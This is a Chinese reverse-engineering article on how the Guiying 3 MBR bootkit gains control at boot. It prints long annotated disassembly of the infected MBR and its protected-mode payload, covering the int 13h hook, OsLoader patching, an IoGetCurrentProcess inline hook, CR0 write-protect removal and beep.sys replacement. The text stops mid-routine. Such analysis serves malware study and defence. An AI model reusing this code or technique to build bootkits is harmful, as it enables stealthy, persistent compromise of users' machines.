鬼影3启动的技术细节
来源:互联网 发布:机械编程学习 编辑:程序博客网 时间:2024/06/15 17:33
首先VirusMbr复制自身到内存当中,然后跳过去复制的内存当中执行。
通过int 13h的扩展读功能把病毒写在硬盘当中的内容复制到内存里,主要复制的是加密部分,包括保护模式代码,Hello_tt.sys和加密的系统原Mbr。
接下来对内存当中的加密内容进行解密,这样系统原Mbr也解密出来了。
对int 13h中断进行hook,之后把系统原Mbr加载到内存0x7c00处,返回执行系统原Mbr指令。
由于hook了int 13h中断,对于2h和42h子功能进行过滤,当系统加载ntldr文件的时候,对OsLoader.exe进行hook。
通过查找指定序列签名Hook OsLoader.exe,主要挂钩的地方是_BlLoadBootDriver@12处的下一句代码,之后OsLoader.exe执行的时候病毒会再次获得控制权。
7.当病毒再次获取到控制权,此时系统已近通过Startup.com切换到保护模式下了,病毒搜索OsLoader.exe的代码空间,获取_BlLoaderBlock地址,如图
红框圈起来是搜索代码的表示,最终获取的是415921 A1后的4个字节,即_BlLoaderBlock地址。
8获取了_BlLoaderBlock之后,通过该结构得到ntoskrnl.exe的加载基址,查找IoGetCurrentProcess,对该函数进行InlineHook,修改函数头部5字节,之后返回OsLoader.exe继续执行。
9.当系统调用IoGetCurrentPorcess的时候病毒重新获得控制权,此时病毒把自身复制到内核共享用户数据区当中(FFDF0800h处开始),然后跳转过去继续执行。
10.病毒对IoGetCurrentProcess的InlineHook进行恢复,之后通过创建一个系统线程对beep.sys进行替换工作.这样就能保证病毒在操作系统完全加载之前获得执行权限了。
MBR 实模式代码:
seg000:0000 .686p
seg000:0000 .mmx
seg000:0000 .model flat
seg000:0000
seg000:0000 ; ===========================================================================
seg000:0000
seg000:0000 ; Segment type: Pure code
seg000:0000 seg000 segment byte public 'CODE' use16
seg000:0000 assume cs:seg000
seg000:0000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000
seg000:0000 loc_0: ; 进行一系列初始化工作
seg000:0000 jb short loc_5
seg000:0002 jnb short loc_5 ; 进行一系列初始化工作
seg000:0002 ; ---------------------------------------------------------------------------
seg000:0004 db 0Ah
seg000:0005 ; ---------------------------------------------------------------------------
seg000:0005
seg000:0005 loc_5: ; CODE XREF: seg000:loc_0↑j
seg000:0005 ; seg000:0002↑j
seg000:0005 cli ; 进行一系列初始化工作
seg000:0006 mov word ptr cs:600h, es
seg000:000B mov cs:602h, sp
seg000:0010 mov word ptr cs:604h, ss
seg000:0015 mov dword ptr cs:7FCh, 800h
seg000:001F lss sp, cs:7FCh
seg000:0025 pushad
seg000:0027 push ds
seg000:0028 mov bx, cs:413h ; BIOS 0x413 内存记录区
seg000:002D sub bx, 0Dh ; 分配13KB
seg000:0031 and bl, 0FCh ; 按4K页对齐
seg000:0034 mov cs:413h, bx ; 写回BIOS内存记录区
seg000:0039 shl bx, 6 ; 计算段基址
seg000:003C mov es, bx ; 存入ES段寄存器
seg000:003E xor bx, bx
seg000:0040 mov ax, 201h ; 设置int 13的读扇区功能参数
seg000:0043 mov cx, 1 ; 将自身复制到申请的空间当中
seg000:0046 mov dx, 80h ; '€'
seg000:0049 int 13h ; DISK - READ SECTORS INTO MEMORY
seg000:0049 ; AL = number of sectors to read, CH = track, CL = sector
seg000:0049 ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:0049 ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:004B
seg000:004B loc_4B: ; DATA XREF: seg000:0049↑r
seg000:004B ; seg000:0063↓r ...
seg000:004B jb short loc_50 ; es入栈
seg000:004D
seg000:004D loc_4D: ; DATA XREF: seg000:00B3↓w
seg000:004D jnb short loc_50 ; es入栈
seg000:004D ; ---------------------------------------------------------------------------
seg000:004F db 2
seg000:0050 ; ---------------------------------------------------------------------------
seg000:0050
seg000:0050 loc_50: ; CODE XREF: seg000:loc_4B↑j
seg000:0050 ; seg000:loc_4D↑j
seg000:0050 push es ; es入栈
seg000:0051 push offset loc_55 ; Offset入栈
seg000:0054 retf ; 返回到es:offset,也就是int13将扇区读入的地方
seg000:0055
seg000:0055 loc_55: ; DATA XREF: seg000:0051↑o
seg000:0055 push cs
seg000:0056 pop ds
seg000:0057 mov si, 6Ch ; 'l' ; DiskAddressPacket偏移 - DS:6C
seg000:005A mov ax, cs
seg000:005C mov [si+6], ax ; BufferAdd:Segment
seg000:005F mov ah, 42h ; 'B' ; 磁盘扩展读功能
seg000:0061 mov dl, 80h ; '€' ; 第一个固定硬盘从0x80开始表示
seg000:0061 ; 利用扩展读功能总共读取了20个
seg000:0061 ; 扇区到内存当中,位置是在这段代
seg000:0061 ; 码的内存位置之后,假设现在位置
seg000:0061 ; 是9C00:0061(cs:61),那么扩展读
seg000:0061 ; 之后,写入的数据在9C00:0200(cs:0200)
seg000:0061 ; 开始
seg000:0063 int 13h ; DISK - IBM/MS Extension - EXTENDED READ
seg000:0063 ; (DL - drive, DS:SI - disk address packet)
seg000:0065 jb short loc_6A
seg000:0067 jnb short loc_6A
seg000:0067 ; ---------------------------------------------------------------------------
seg000:0069 db 3
seg000:006A ; ---------------------------------------------------------------------------
seg000:006A
seg000:006A loc_6A: ; CODE XREF: seg000:0065↑j
seg000:006A ; seg000:0067↑j
seg000:006A jmp short loc_7C ; 鬼影3本身的MBR当中的部分数据是加密的
seg000:006A ; 从9E处代码开始,这里进行初始话然后用
seg000:006A ; 一个LOOP进行解密,写入磁盘的数据
seg000:006A ;,他们都是经过加密的
seg000:006A ; ---------------------------------------------------------------------------
seg000:006C DiskAddressPacket <10h, 0, 14h, 200h, 0FFCD8Dh, 0> ;
seg000:006C ; 这里是扩展读int 13中断的参数
seg000:006C ; 其中的BlockNum是在mb.exe进行
seg000:006C ; 感染的时候写入VirusMbr的.
seg000:006C ; struct DiskAddressPacket
seg000:006C ; {
seg000:006C ; BYTE PacketSize; // 数据包尺寸(16字节)
seg000:006C ; BYTE Reserved; // ==0
seg000:006C ; WORD BlockCount; // 要传输的数据块个数(以扇区为单位)
seg000:006C ; DWORD BufferAddr; // 传输缓冲地址(segment:offset)
seg000:006C ; QWORD BlockNum; // 磁盘起始绝对块地址(以扇区为单位)
seg000:006C ; };
seg000:007C ; ---------------------------------------------------------------------------
seg000:007C
seg000:007C loc_7C: ; CODE XREF: seg000:loc_6A↑j
seg000:007C mov si, 9Eh ; ' ; 鬼影3本身的MBR当中的部分数据是加密的
seg000:007C ; 从9E处代码开始,这里进行初始话然后用
seg000:007C ; 一个LOOP进行解密,
seg000:007F mov cx, 2762h ; 0x9E + 0x2762 = 0x2800
seg000:007F ; 解密的数据长度,0x2800是一个很熟悉的数据
seg000:0082
seg000:0082 loc_82: ; CODE XREF: seg000:009C↓j
seg000:0082 push cx
seg000:0083 mov al, [si]
seg000:0085 or al, al ; 如果是0就不用解密了,0经过移位仍然是0
seg000:0087 jz short loc_9A
seg000:0089 jb short loc_8E ; 移位位数,0x73%8 = 3,相当于3位
seg000:008B jnb short loc_8E ; 移位位数,0x73%8 = 3,相当于3位
seg000:008B ; ---------------------------------------------------------------------------
seg000:008D db 3
seg000:008E ; ---------------------------------------------------------------------------
seg000:008E
seg000:008E loc_8E: ; CODE XREF: seg000:0089↑j
seg000:008E ; seg000:008B↑j
seg000:008E mov cx, 73h ; 's' ; 移位位数,0x73%8 = 3,相当于3位
seg000:0091 jb short loc_96 ; 循环右移3位
seg000:0093 jnb short loc_96 ; 循环右移3位
seg000:0093 ; ---------------------------------------------------------------------------
seg000:0095 db 4
seg000:0096 ; ---------------------------------------------------------------------------
seg000:0096
seg000:0096 loc_96: ; CODE XREF: seg000:0091↑j
seg000:0096 ; seg000:0093↑j
seg000:0096 ror al, cl ; 循环右移3位
seg000:0098 mov [si], al ; 写回内存当中
seg000:009A
seg000:009A loc_9A: ; CODE XREF: seg000:0087↑j
seg000:009A inc si
seg000:009B pop cx ; cx控制循环次数,利用push和pop保护
seg000:009C loop loc_82 ; 循环解密
seg000:009C ; ----------------------
seg000:009E push 0 ; /////////////////////////////////////
seg000:009E ; 特别注意,从这里开始需要解密后才能看到
seg000:009E ; 这里把解密后的代码跟VirusMbr拼在一起
seg000:009E ; 进行注释,原始代码不是这样的.
seg000:009E ; /////////////////////////////////////
seg000:009E ; ----------------------
seg000:00A1 pop es ; es段寄存器清零
seg000:00A2 mov eax, dword ptr es:loc_4B+1 ; int 13 address -> EAX
seg000:00A2 ; [es:4c]存放的是int 13中断处理程序地址
seg000:00A7 mov cs:OldInt13Addr, eax ; 保存原始的13号中断程序入口
seg000:00AC mov word ptr es:loc_4B+1, offset @Int13Hook ; int13 Offset
seg000:00AC ; Hook int 13号中断,这里写入病毒的处理过程地址
seg000:00B3 mov word ptr es:loc_4D+1, cs ; int13 Segment
seg000:00B3 ; 写入段地址,这里是cs段
seg000:00B8 xor ebx, ebx
seg000:00BB mov bx, cs
seg000:00BD shl ebx, 4 ; cs segment offset
seg000:00C1 or cs:239h, ebx ; cs:239h = 0x00000001
seg000:00C1 ; 刚才说过了经过扩展读把病毒内容写入
seg000:00C1 ; 内存cs:200地址处,总共20个扇区的内容
seg000:00C1 ; 这里是对病毒代码进行另外的初始化,
seg000:00C1 ; 把地址加上段地址构成完整的地址
seg000:00C7 or cs:3C3h, ebx ; cs:3C3h = 0x00000000
seg000:00CD add ebx, 204h
seg000:00D4 mov cs:200h, ebx ; Ntldr call back address
seg000:00D4 ; 这个是后面病毒对Ntldr进行
seg000:00D4 ; hook的回跳地址,重新获取控
seg000:00D4 ; 制权,并且此时已经进入保护模式
seg000:00DA mov di, 7C00h
seg000:00DD mov si, 2600h
seg000:00E0 mov cx, 200h
seg000:00E3 cld
seg000:00E4 rep movsb ; 这几句代码把操作系统的OriMbr写回
seg000:00E4 ; 7C00处,然后直接跳转过去执行原始
seg000:00E4 ; 的MBR,由于已经HOOK了int13,之后可
seg000:00E4 ; 以获取系统控制权的
seg000:00E6 pop ds
seg000:00E7 popad
seg000:00E9 lss sp, es:602h
seg000:00EF mov es, word ptr es:600h
seg000:00F4 jmp far ptr 0:7C00h ; 跳回去执行OriMbr
seg000:00F9 ; ---------------------------------------------------------------------------
seg000:00F9
seg000:00F9 @Int13Hook: ; DATA XREF: seg000:00AC↑o
seg000:00F9 pushf ; 这部分是病毒Hook int13后进行自己的处理
seg000:00F9 ; MS在加载NTLDR的时候使用的是42H的扩展读
seg000:00F9 ; 通过Hook int13中断,在加载NTLDR的时候,
seg000:00F9 ; 扫描NTLDR,找到OsLoader.exe指定指令序列,
seg000:00F9 ; 对OsLoader.exe进行Hook,这部分的代码参考
seg000:00F9 ; 的是Eeye的BootRoot代码
seg000:00FA cmp ah, 42h ; 'B' ; DISK - IBM/MS Extension - EXTENDED READ
seg000:00FD jz short @Int13Hook_ReadRequest
seg000:00FF cmp ah, 2 ; DISK - Read Sector
seg000:0102 jz short @Int13Hook_ReadRequest ; 对int 13的2h和42h子功能进行过滤
seg000:0102 ; 如果不是这两种调用就直接跳到int13
seg000:0102 ; 中断处理去,如果是就做自己的处理先
seg000:0104 popf
seg000:0104 ; ---------------------------------------------------------------------------
seg000:0105 db 0EAh ; ; jmp OldInt13
seg000:0105 ; 下面106处保存的是旧的int 13入口
seg000:0105 ; 四个字节,结合起来就是JMP OldInt13
seg000:0106 OldInt13Addr dd 0 ; DATA XREF: seg000:00A7↑w
seg000:0106 ; seg000:0110↓r
seg000:010A ; ---------------------------------------------------------------------------
seg000:010A
seg000:010A @Int13Hook_ReadRequest: ; CODE XREF: seg000:00FD↑j
seg000:010A ; seg000:0102↑j
seg000:010A popf
seg000:010B mov word ptr cs:INT13LASTFUNCTION+1, ax ; 修改传送的扇区数
seg000:010B ; 这里又是直接修改代码段当中的数据
seg000:010B ; INT13LASTFUNCTION标签位置+1
seg000:010B ; 即是mov ax, xxxx,把0修改为xxxx,保存AH功能号
seg000:010F pushf
seg000:0110 call cs:OldInt13Addr ;调用原始功能读取磁盘数据。
seg000:0115 jb @Int13Hook_Ret
seg000:0119 pushf
seg000:011A cli
seg000:011B push es
seg000:011C push ds
seg000:011D pushad
seg000:011F
seg000:011F INT13LASTFUNCTION: ; DATA XREF: seg000:010B↑w
seg000:011F ; seg000:0129↓w ...
seg000:011F mov ax, 0 ;前面保存的功能号
seg000:0122 cmp ah, 42h ; 'B' ;是否扩展读
seg000:0125 jnz short @Int13Hook_NotExtRead
seg000:0127 lodsw
seg000:0128 lodsw
seg000:0129 mov word ptr cs:INT13LASTFUNCTION+1, ax
seg000:012D les bx, [si]
seg000:012F
seg000:012F @Int13Hook_NotExtRead: ; CODE XREF: seg000:0125↑j
seg000:012F mov ax, word ptr cs:INT13LASTFUNCTION+1
seg000:0133 test al, al
seg000:0135 jle short @Int13Hook_Scan_Done
seg000:0137 xor cx, cx
seg000:0139 mov cl, al
seg000:013B shl cx, 9
seg000:013E mov al, 8Bh ; '
seg000:0140 mov di, bx ;es:bx 读取数据缓冲区->di
seg000:0142 cld
seg000:0143
seg000:0143 @Int13Hook_Scan_Loop: ; CODE XREF: seg000:014F↓j
seg000:0143 ; seg000:0157↓j
seg000:0143 repne scasb
seg000:0145 jnz short @Int13Hook_Scan_Done
seg000:0147 cmp dword ptr es:[di], 74F685F0h ;
seg000:0147 ; OsLoader扫描标志:
seg000:0147 ; F0 85 F6 74 21 80
seg000:014F jnz short @Int13Hook_Scan_Loop
seg000:0151 cmp word ptr es:[di+4], 8021h
seg000:0157 jnz short @Int13Hook_Scan_Loop
seg000:0159 push es ;找到_BlLoadBootDriver@12,di->0x422a70(0xf0)
seg000:015A xor eax, eax
seg000:015D mov es, ax
seg000:015F mov ax, cs
seg000:0161 shl eax, 4
seg000:0165 add eax, 200h
seg000:016B pop es
seg000:016C mov word ptr es:[di-1], 15FFh ;
seg000:016C ; 进行Osloader.exe的Hook,形式是
seg000:016C ; Call dword ptr [Offset],这样的好处是
seg000:016C ; 只需要6个字节,OsLoader.exe当中提供的
seg000:016C ; 也刚好是6个字节的空余地方(看图)
seg000:0172 mov es:[di+1], eax ;写入 HOOK 指令
0x9c200内4个字节为0X9C204这样就会在hook被执行时候,调用0X9C204处代码。
seg000:0177
seg000:0177 @Int13Hook_Scan_Done: ; CODE XREF: seg000:0135↑j
seg000:0177 ; seg000:0145↑j
seg000:0177 popad
seg000:0179 pop ds
seg000:017A pop es
seg000:017B popf
seg000:017C
seg000:017C @Int13Hook_Ret: ; CODE XREF: seg000:0115↑j
seg000:017C retf 2
seg000:017C ; ---------------------------------------------------------------------------
保护模式代码:
seg000:00000000 .686p
seg000:00000000 .mmx
seg000:00000000 .model flat
seg000:00000000
seg000:00000000 ; ===========================================================================
seg000:00000000
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000 segment byte public 'CODE' use32
seg000:00000000 assume cs:seg000
seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000 dd 9C204h ; ntldr hook call address
_BlLoadBootDriver@12被调用后,执行的HOOK 代码。当病毒再次获取到控制权,此时系统已近通过Startup.com切换到保护模式下了,病毒搜索OsLoader.exe的代码空间,获取_BlLoaderBlock地址,如图
seg000:00000004 ; ---------------------------------------------------------------------------
seg000:00000004 pushf
seg000:00000005 pusha
seg000:00000006 mov edi, [esp+24h] ; [ESP+24h]为EIP,指向OsLoader
seg000:00000006 ; 存到EDI调整后供搜索使用
seg000:0000000A and edi, 0FFF00000h ; 将EDI调整为镜像基址
seg000:00000010 cld
seg000:00000011 mov al, 0C7h ; ' ; 搜索标志40003446h的前一个字节,可以参考图片
seg000:00000013
seg000:00000013 @ModuleList_SigLoop: ; CODE XREF: seg000:00000014↓j
seg000:00000013 ; seg000:0000001C↓j
seg000:00000013 scasb ; 将edi与al进行比较,每次执行后edi+1
seg000:00000014 jnz short @ModuleList_SigLoop
seg000:00000016 cmp dword ptr [edi], 40003446h ; 搜索标志,具体代码可以参考图片
seg000:0000001C jnz short @ModuleList_SigLoop
seg000:0000001E mov al, 0A1h ; ' ; 下一句代码是把_BlLoaderBlock写入EAX
seg000:0000001E ; 搜索这句代码机器码的第一个字节,之后
seg000:0000001E ; 的便是_BlLoaderBlock地址
seg000:0000001E ; A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx]
seg000:00000020
seg000:00000020 @ModuleList_BaseAddrLoop: ; CODE XREF: seg000:00000021↓j
seg000:00000020 scasb
seg000:00000021 jnz short @ModuleList_BaseAddrLoop
seg000:00000023 mov esi, [edi] ; ESI <- LIST_ENTRY
seg000:00000023 ; struct _BlLoaderBlock
seg000:00000023 ; {
seg000:00000023 ; +00h LIST_ENTRY module list links
seg000:00000023 ; +08h [10h] ???
seg000:00000023 ; +18h PTR image base address
seg000:00000023 ; +1Ch PTR module entry point
seg000:00000023 ; +20h DWORD size of loaded module in memory
seg000:00000023 ; +24h UNICODE_STRING full module path and file name
seg000:00000023 ; +2Ch UNICODE_STRING module file name
seg000:00000023 ; };
seg000:00000025 mov esi, [esi] ; ESI <- 链表上第一个节点,应该是头节点List_Head
seg000:00000027 lodsd ; 获取第二个节点,存入EAX(第一个有效的节点)
seg000:00000028 mov ebx, [eax+18h] ; EBX <- Image Base Address
seg000:0000002B call OverHookFunc ; 调用OverHookFunc之后会直接返回
seg000:0000002B ; OsLoader.exe的执行流程当中
seg000:00000030 sub dword ptr [esp], 5 ; @IoGetCurrentProcessHook起始地址
seg000:00000030 ; 这部分代码将会被写入Ntoskrnl.exe
seg000:00000030 ; 内存镜像当中,代码长度0x37
Image Base Address + 40h的 HOOK 代码:调用IoGetCurrentProcess时候,就会被call 到。
seg000:00000037 pusha ;
seg000:00000037 ; 下面部分的代码完成的功能主要是
seg000:00000037 ; 修改固定页表的第一页地址,改成Mbr
seg000:00000037 ; 之前申请的内存空间,Mbr当中已经
seg000:00000037 ; 考虑了4KB对齐问题,之后把代码复制
seg000:00000037 ; 300h直接到用户共享数据区地址是
seg000:00000037 ; FFDF0800h,之后返回到FFDF08AF继续
seg000:00000037 ; 执行
seg000:00000038 mov eax, 9C001h ; 我们的代码当前所在物理内存位置是9C001开始
seg000:0000003D xor ecx, ecx
seg000:0000003F mov ch, 3 ; cx = 300h, 代码长度300h
seg000:00000041 mov edx, 0C0000000h ; 固定页表的第一个表项
seg000:00000046 mov esi, 200h ; Mbr当中已经做过4KB对齐,
seg000:00000046 ; 现在代码地址在9C200
seg000:0000004B mov edi, 0FFDF0800h ; 内核当中共享用户数据区地址
seg000:00000050 xchg eax, [edx] ; 修改第一个页表地址到9C001,即将物理地址0X9C000映射到线性地址0,1代表该地址有效。
seg000:00000052 wbinvd ; 特权指令,使CACHE失效,目的应该是把
seg000:00000052 ; 数据写到内存里,避免在CPU的缓存当中
seg000:00000054 rep movsb ; 从线性地址0x200(物理地址0x9c200)拷贝数据过去FFDF0800h。
seg000:00000056 mov [edx], eax ; 恢复固定页表的第一个表项
seg000:00000058 wbinvd
Hook函数当中备份的IoGetCurrentProcessHook的5字节内容压入堆栈
seg000:0000005A push 0 ; 这句代码已经在Hook函数当中做过修改
seg000:0000005C push 0 ; 这句代码已经在Hook函数当中做过修改
seg000:00000061 push 0FFDF08AFh ; 返回到FFDF08AFh继续执行病毒代码
seg000:00000066 retn
seg000:00000067
seg000:00000067 ; =============== S U B R O U T I N E =======================================
seg000:00000067
seg000:00000067
seg000:00000067 OverHookFunc proc near ; CODE XREF: seg000:0000002B↑p
seg000:00000067
seg000:00000067 arg_24 = dword ptr 28h
seg000:00000067
seg000:00000067 pop esi ; call过来的,堆栈上是函数返回地址
seg000:00000067 ; 也就是ESI为@IoGetCurrentProcessHook的起始地址(seg000:00000030拷贝到Ntoskrnl.exe内存镜像PE头)
seg000:00000068 mov ecx, 37h ; '7' ; @IoGetCurrentProcessHook函数的代码长度,这里是硬编码37h
seg000:0000006D mov [esi+204h], ebx ; EBX: Image Base Address
seg000:0000006D ; 把EBX写入@IoGetCurrentProcessHook+204h(seg000:00000234)
seg000:0000006D ; 234h处,修改代码写入镜像基址,如图2
seg000:00000073 lea edi, [ebx+40h] ; EDI <- Image Base Address + 40h
seg000:00000076 mov ebp, edi ; 保存@IoGetCurrentProcessHook地址后面使用
seg000:00000078 rep movsb ; 把@IoGetCurrentProcessHook的代
seg000:00000078 ; 码写入ImageBaseAddress+40h处
seg000:0000007A push 0CE8C3177h ; Hash:IoGetCurrentProcess
seg000:0000007A ; 要查找的函数名32位HASH值
seg000:0000007F call @GetExport
seg000:00000084 xchg eax, esi esi-> IoGetCurrentProcess
seg000:00000085 sub edi, 0Ah edi-> seg000:00000067-0xa=0x5d
seg000:0000008B movsd
seg000:0000008C sub edi, 6 edi-> seg000: 0x5b
seg000:00000092 movsb ; 上面的代码修改@IoGetCurrentProcessHook代码,备份IoGetCurrentProcess,5字节指令
seg000:00000092 ; 使能够正确的返回到系统的IoGetCurrentProcess, esi-> IoGetCurrentProcess+5
seg000:00000093 mov byte ptr [esi-5], 0E8h ; ';写入IoGetCurrentProcess inline hook
seg000:00000097 sub ebp, esi
seg000:00000099 mov [esi-4], ebp ; 上面的代码主要完成的功能是
seg000:00000099 ; Inline Hook IoGetCurrentProcess
seg000:00000099 ; 修改头5个字节为EB XXXXXXXX(ebp内容)调用IoGetCurrentProcess,就会call 到 Image Base Address + 40h的 HOOK 代码
seg000:00000099 ; 即CALL EBP,而EBP里面保存的是
seg000:00000099 ; @IoGetCurrentProcessHook地址
seg000:0000009C popa
seg000:0000009D popf
seg000:0000009E mov esi, eax ; OsLoader.exe 覆盖的代码
seg000:000000A0 test eax, eax ; OsLoader.exe 覆盖的代码
seg000:000000A2 jnz short @PatchFunction_done_nojz ; 返回到OsLoader.exe当中执行,当系统
seg000:000000A2 ; 调用IoGetCurrentProcess()时候鬼影
seg000:000000A2 ; 3会继续获得系统的控制权
seg000:000000A4 pushf
seg000:000000A5 add [esp-24h+arg_24], 21h ; '!' ;
seg000:000000A5 ; 这里是返回到OsLoader.exe当中
seg000:000000A5 ; 由于修改了OsLoader.exe如下
seg000:000000A5 ; .text:00422A6F mov esi, eax
seg000:000000A5 ; .text:00422A71 test esi, esi
seg000:000000A5 ; .text:00422A73 jz short loc_422A96
seg000:000000A5 ; .text:00422A75
seg000:000000A5 ; 进行恢复之后,如果要跳转到422A96
seg000:000000A5 ; 那么就修改栈上的返回地址(422A75)
seg000:000000A5 ; 加上21h,变为422A96
seg000:000000AD popf
seg000:000000AE
seg000:000000AE @PatchFunction_done_nojz: ; CODE XREF: OverHookFunc+3B↑j
seg000:000000AE retn ; 返回到OsLoader.exe当中执行,当系统
seg000:000000AE OverHookFunc endp ; sp-analysis failed ; 调用IoGetCurrentProcess()时候鬼影
seg000:000000AE ; 3会继续获得系统的控制权
跳过来执行的代码(内存地址:0FFDF08AFh):esp->IoGetCurrentProcess原始5字节内容
seg000:000000AF ; ---------------------------------------------------------------------------
seg000:000000AF mov ebp, esp
seg000:000000B1 mov edi, [ebp+28h] ; edi->IoGetCurrentProcess地址,pushad+push+push = 10个DWORD,=0x28
seg000:000000B4 mov ecx, cr0
seg000:000000B7 mov edx, ecx
seg000:000000B9 and ecx, 0FFFEFFFFh ; 去除内存页的写保护,通过CR0的第17位设置
seg000:000000BF mov cr0, ecx
seg000:000000C2 pop eax ; 返回过来的时候总共往栈中压入
seg000:000000C2 ; 5个字节,这5个字节就是IoGetCurrentProcess
seg000:000000C2 ; 函数前5个字节,这里进行恢复工作
seg000:000000C3 stosd ; 恢复工作
seg000:000000C4 pop eax ; 恢复工作
seg000:000000C5 stosb ; 恢复工作
seg000:000000C6 mov cr0, edx ; 恢复内存页的写保护
seg000:000000C9 jb short loc_CE
seg000:000000CB jnb short loc_CE
seg000:000000CB ; ---------------------------------------------------------------------------
seg000:000000CD db 20h
seg000:000000CE ; ---------------------------------------------------------------------------
seg000:000000CE
seg000:000000CE loc_CE: ; CODE XREF: seg000:000000C9↑j
seg000:000000CE ; seg000:000000CB↑j
seg000:000000CE enter 4, 0
seg000:000000D2 push 136E47C7h ; Hash:PsCreateSystemThread
seg000:000000D7 call @GetExport ; 获取PsCreateSystemThread地址
seg000:000000DC lea ebx, [ebp-4]
seg000:000000DF push 0
seg000:000000E4 push 0FFDF0903h
seg000:000000E9 push 0
seg000:000000EE push 0
seg000:000000F3 push 0
seg000:000000F8 push 0
seg000:000000FD push ebx
seg000:000000FE call eax ; 调用PsCreateSystemThread()
seg000:000000FE ; 创建了一个新的系统线程,这个
seg000:000000FE ; 线程的代码地址是FFDF0903h
seg000:000000FE ; 暂时称为@StartRoutine
seg000:00000100 leave
seg000:00000101 popa
seg000:00000102 retn
SystemThread地址
seg000:00000103 ; ---------------------------------------------------------------------------
seg000:00000103 pusha ; @StartRoutine函数
seg000:00000103 ; 这个函数就是病毒花这么大的力气
seg000:00000103 ; 得到控制权想要完成的事情,在系统
seg000:00000103 ; 加载之前把自己的Hello_tt.sys替
seg000:00000103 ; 换系统的Beep.sys,由于系统正常需
seg000:00000103 ; 要加载Beep.sys,所以病毒这样就获
seg000:00000103 ; 取在操作系统当中执行的机会了,之前
seg000:00000103 ; 我们分析过,Hello_tt.sys会写入
seg000:00000103 ; c:\alg.exe和他的启动项,这样,系统
seg000:00000103 ; 启动之后首先加载病毒的sys,然后病毒
seg000:00000103 ; 写入alg.exe,注册表项,之后操作系统
seg000:00000103 ; 再根据注册表启动项执行alg.exe
seg000:00000103 ; GAME OVER~~
seg000:00000104 enter 40h, 0
seg000:00000108
seg000:00000108 ZwCreateFile_Loop: ; CODE XREF: seg000:000001AD↓j
seg000:00000108 ; seg000:000001D5↓j
seg000:00000108 mov dword ptr [ebp-8], 0FFFFFFFFh
seg000:0000010F mov dword ptr [ebp-0Ch], 0FECED300h
seg000:00000116 push 0CC06CD48h ; Hash:KeDelayExecutionThread
seg000:0000011B call @GetExport
seg000:00000120 lea ebx, [ebp-0Ch]
seg000:00000123 push ebx
seg000:00000124 push 0
seg000:00000129 push 0
seg000:0000012E call eax ; 调用KeDelayExecutionThread()
seg000:00000130 lea ecx, [ebp-18h]
seg000:00000133 mov dword ptr [ecx], 18h
seg000:00000139 and dword ptr [ecx+4], 0
seg000:00000140 mov dword ptr [ecx+0Ch], 40h ; '@'
seg000:00000147 and dword ptr [ecx+10h], 0
seg000:0000014E and dword ptr [ecx+14h], 0
seg000:00000155 mov eax, 0FFDF0A85h
seg000:0000015A mov dword ptr [eax+0], 0FFDF0A89h
seg000:00000164 mov dword ptr [ecx+8], 0FFDF0A81h
seg000:0000016E push 25298A1Dh ; Hash:ZwCreateFile
seg000:00000173 call @GetExport
seg000:00000178 lea ebx, [ebp-24h]
seg000:0000017B lea edx, [ebp-20h]
seg000:0000017E push 0
seg000:00000183 push 0
seg000:00000188 push 20h ; ' '
seg000:0000018D push 5
seg000:00000192 push 0
seg000:00000197 push 80h ; '€'
seg000:0000019C push 0
seg000:000001A1 push edx
seg000:000001A2 push ecx
seg000:000001A3 push 40000000h
seg000:000001A8 push ebx
seg000:000001A9 call eax ; 调用ZwCreateFile替换打开Beep.sys文件之后把病毒的Hello_tt.sys数据写入替换系统的正常文件
seg000:000001AB or eax, eax
seg000:000001AD jnz ZwCreateFile_Loop ; 打开文件直到成功
seg000:000001B3 push 0
seg000:000001B8 push 2800h
seg000:000001BD push 0
seg000:000001C2 push 9C000h ;实模式下映射的物理地址
seg000:000001C7 push 0FCE7EE0Ch ; Hash:MmMapIoSpace
seg000:000001CC call @GetExport
seg000:000001D1 call eax
seg000:000001D3 or eax, eax
seg000:000001D5 jz ZwCreateFile_Loop
seg000:000001DB mov ebx, eax
seg000:000001DD add ebx, 4D5h
seg000:000001E3 lea ecx, [ebp-20h]
seg000:000001E6 push 7E3ACF7h ; Hash:ZwWriteFile
seg000:000001EB call @GetExport
seg000:000001F0 push 0
seg000:000001F5 push 0
seg000:000001FA push 1A00h
seg000:000001FF push ebx
seg000:00000200 push ecx
seg000:00000201 push 0
seg000:00000206 push 0
seg000:0000020B push 0
seg000:00000210 push dword ptr [ebp-24h]
seg000:00000213 call eax
seg000:00000215 push 0FD929378h ; Hash:ZwClose
seg000:0000021A call @GetExport
seg000:0000021F push dword ptr [ebp-24h]
seg000:00000222 call eax
seg000:00000224 leave
seg000:00000225 popa
seg000:00000226 retn 4
seg000:00000229
seg000:00000229 ; =============== S U B R O U T I N E =======================================
seg000:00000229
seg000:00000229 ; Attributes: bp-based frame
seg000:00000229
seg000:00000229 @GetExport proc near ; CODE XREF: OverHookFunc+18↑p
seg000:00000229 ; seg000:000000D7↑p ...
seg000:00000229
seg000:00000229 var_4 = dword ptr -4
seg000:00000229 FunctionNameHash= dword ptr 8
seg000:00000229 NumberOfNames = dword ptr 18h
seg000:00000229 AddressOfFunctions= dword ptr 1Ch
seg000:00000229 AddressOfNames = dword ptr 20h
seg000:00000229 AddressOfNameOrdinals= dword ptr 24h
seg000:00000229
seg000:00000229 enter 0, 0
seg000:0000022D xor eax, eax
seg000:0000022F pusha
seg000:00000230 mov edx, [ebp+FunctionNameHash] ; EDX <- FunctionNameHash
seg000:00000233 mov ebx, 0 ; 注意这里已经通过上面的修改写成
seg000:00000233 ; ImageBaseAddress了,参考图片
seg000:00000238 mov ecx, [ebx+3Ch] ; PE头部偏移
seg000:0000023B mov ebp, [ebx+ecx+78h] ; 输出表RVA
seg000:0000023F add ebp, ebx ; 输出表指针
seg000:00000241 mov ecx, [ebp+NumberOfNames] ; NumberOfNames
seg000:00000244 mov edi, [ebp+AddressOfNames] ; AddressOfNames
seg000:00000247 add edi, ebx
seg000:00000249 jecxz short @GetExport_done
seg000:0000024B
seg000:0000024B @GetExport_NameLoop: ; CODE XREF: @GetExport+35↓j
seg000:0000024B mov esi, [edi] ; 逐个处理函数名
seg000:0000024D add esi, ebx
